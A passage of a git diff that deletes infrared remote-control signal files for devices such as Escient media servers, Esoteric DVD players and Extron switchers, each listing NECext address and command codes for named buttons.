parsed -protocol: NECext -address: 04 16 00 00 -command: 4E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/48,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/48,-1.ir deleted file mode 100644 index 36b4e1bdf..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/48,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 8A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Server/1,22.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Server/1,22.ir deleted file mode 100644 index d14f4175b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Server/1,22.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 03 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 05 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 09 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 0B 00 00 00 -# -name: CH/PAGE_DOWN -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 0E 00 00 00 -# -name: PWR -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 0F 00 00 00 -# -name: MODE/LAST -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 11 00 00 00 -# -name: DISC_FLIP -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 15 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 16 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 17 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 19 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 1B 00 00 00 -# -name: REWIND/BACKSPACE -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 20 00 00 00 -# -name: FF/SPACE -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 22 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 23 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 24 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 25 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 2B 00 00 00 -# -name: MUSIC -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 2C 00 00 00 -# -name: PLAY_(FAVORITES) -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 2E 00 00 00 -# -name: MACRO -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 31 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Server/4,22.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Server/4,22.ir deleted file mode 100644 index 15338c528..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Server/4,22.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 02 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 08 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 0A 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 0C 00 00 00 -# -name: CH/PAGE_UP -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 0D 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 10 00 00 00 -# -name: SETUP/SLEEP -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 12 00 00 00 -# -name: OPTION/INPUT -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 13 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 14 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 18 00 00 00 -# -name: ARROW_SELECT -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 1A 00 00 00 -# -name: MENU/VIEW -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 1C 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 21 00 00 00 -# -name: MOVIES -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 26 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 27 00 00 00 -# -name: IRADIO -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 2A 00 00 00 -# -name: ADD -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 2D 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 2F 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 30 00 00 00 -# -name: PREV -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 32 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 33 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Esoteric Audio/DVD Player/133,32.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Esoteric Audio/DVD Player/133,32.ir deleted file mode 100644 index 1e021e20e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Esoteric Audio/DVD Player/133,32.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 00 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 01 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 02 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 03 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 04 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 05 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 06 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 07 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 09 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 0A 00 00 00 -# -name: PREVIOUS -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 0B 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 0C 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 0D 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 0E 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 0F 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 11 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 15 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 16 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 17 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 1D 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 1E 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 40 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 41 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 42 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 45 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 46 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 47 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 4A 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 4B 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 4C 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 4D 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 4E 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 4F 00 00 00 -# -name: STEP_SLOW_<< -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 50 00 00 00 -# -name: STEP_SLOW_>> -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 51 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 52 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 53 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 54 00 00 00 -# -name: ENTER_SELECT -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 55 00 00 00 -# -name: SEARCH_MODE -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 59 00 00 00 -# -name: FL_DIMMER -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 5A 00 00 00 -# -name: FUNCTION_MEMORY -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 5B 00 00 00 -# -name: LAST_MEMORY -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 5C 00 00 00 -# -name: CONDITION_MEMORY -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 5D 00 00 00 -# -name: VIDEO_OFF -type: parsed -protocol: NECext -address: 85 20 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Euroconsumers/Unknown_LG-5988/136,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Euroconsumers/Unknown_LG-5988/136,-1.ir deleted file mode 100644 index 82e5299fc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Euroconsumers/Unknown_LG-5988/136,-1.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 00 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 01 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 02 00 00 00 -# -name: f.bwd -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 03 00 00 00 -# -name: tvsys -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 04 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 05 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 06 00 00 00 -# -name: f.fwd -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 07 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 08 00 00 00 -# -name: a-b -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 09 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 0A 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 0B 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 0C 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 0D 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 0E 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 0F 00 00 00 -# -name: tvmode -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 10 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 11 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 12 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 13 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 14 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 15 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 16 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 17 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 19 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 1A 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 1B 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 1C 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 1D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 1E 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 1F 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 40 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 42 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 43 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 48 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 49 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 4C 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 4E 00 00 00 -# -name: digest -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 54 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 57 00 00 00 -# -name: KEY_LANGUAGE -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 58 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 5C 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 5E 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Expressvu/Unknown_3100/0,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Expressvu/Unknown_3100/0,0.ir deleted file mode 100644 index 2a338c507..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Expressvu/Unknown_3100/0,0.ir +++ /dev/null @@ -1,80 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Extron/Switcher/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Extron/Switcher/0,-1.ir deleted file mode 100644 index 465406e7c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Extron/Switcher/0,-1.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Extron/Switcher/128,84.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Extron/Switcher/128,84.ir deleted file mode 100644 index 92e942716..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Extron/Switcher/128,84.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 6 -type: parsed -protocol: NECext -address: 80 54 00 00 -command: 00 00 00 00 -# -name: DISPLAY/POWER -type: parsed -protocol: NECext -address: 80 54 00 00 -command: 01 00 00 00 -# -name: DISPLAY/MUTE -type: parsed -protocol: NECext -address: 80 54 00 00 -command: 02 00 00 00 -# -name: RGB/MUTE -type: parsed -protocol: NECext -address: 80 54 00 00 -command: 03 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 80 54 00 00 -command: 07 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 80 54 00 00 -command: 08 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 80 54 00 00 -command: 09 00 00 00 -# -name: AUDIO/MUTE -type: parsed -protocol: NECext -address: 80 54 00 00 -command: 0A 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 80 54 00 00 -command: 0C 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 80 54 00 00 -command: 0D 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 80 54 00 00 -command: 0E 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 80 54 00 00 -command: 11 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 80 54 00 00 -command: 12 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 80 54 00 00 -command: 15 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 80 54 00 00 -command: 18 00 00 00 -# -name: FUNCTION -type: parsed -protocol: NECext -address: 80 54 00 00 -command: 19 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/FSC/DVD Player/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/FSC/DVD Player/4,15.ir deleted file mode 100644 index 2749a62d4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/FSC/DVD Player/4,15.ir +++ /dev/null @@ -1,308 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 09 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0A 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0B 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0C 00 00 00 -# -name: WINDOWS_MC -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0D 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0E 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0F 00 00 00 -# -name: VOL+ -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 10 00 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 11 00 00 00 -# -name: CH+ -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 12 00 00 00 -# -name: CH- -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 13 00 00 00 -# -name: FRAME_>> -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 14 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 14 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 14 00 00 00 -# -name: FRAME_<< -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 15 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 15 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 15 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 16 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 17 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 18 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 19 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1A 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1B 00 00 00 -# -name: CURSOR_OBEN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1E 00 00 00 -# -name: CURSOR_UNTEN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1F 00 00 00 -# -name: CURSOR_LINKS -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 20 00 00 00 -# -name: CURSOR_RECHTS -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 21 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 22 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 23 00 00 00 -# -name: DVD_MENUE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 24 00 00 00 -# -name: LIVE_TV -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 25 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 26 00 00 00 -# -name: MY_TV -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 46 00 00 00 -# -name: MY_MUSIC -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 47 00 00 00 -# -name: RECORDED_TV -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 48 00 00 00 -# -name: MY_PICTURES -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 49 00 00 00 -# -name: MY_VIDEOS -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 4A 00 00 00 -# -name: TELETEXT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5A 00 00 00 -# -name: ROT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5B 00 00 00 -# -name: GRUEN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5C 00 00 00 -# -name: GELB -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5D 00 00 00 -# -name: BLAU -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/FTE Maximal/Unknown_FTE/73,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/FTE Maximal/Unknown_FTE/73,-1.ir deleted file mode 100644 index 19b8a9a2c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/FTE Maximal/Unknown_FTE/73,-1.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 00 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 04 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 07 00 00 00 -# -name: FREQ -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 08 00 00 00 -# -name: DEV -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 09 00 00 00 -# -name: STEP_DOWN -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 0A 00 00 00 -# -name: STEP_UP -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 0B 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 0C 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 0D 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 0E 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 0F 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 10 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 11 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 12 00 00 00 -# -name: A.MODE -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 13 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 14 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 15 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 16 00 00 00 -# -name: POLARITY -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 17 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 19 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 49 00 00 00 -command: 1B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/FUBA/Unknown_ALPS/134,75.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/FUBA/Unknown_ALPS/134,75.ir deleted file mode 100644 index a45c1ae63..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/FUBA/Unknown_ALPS/134,75.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 86 4B 00 00 -command: 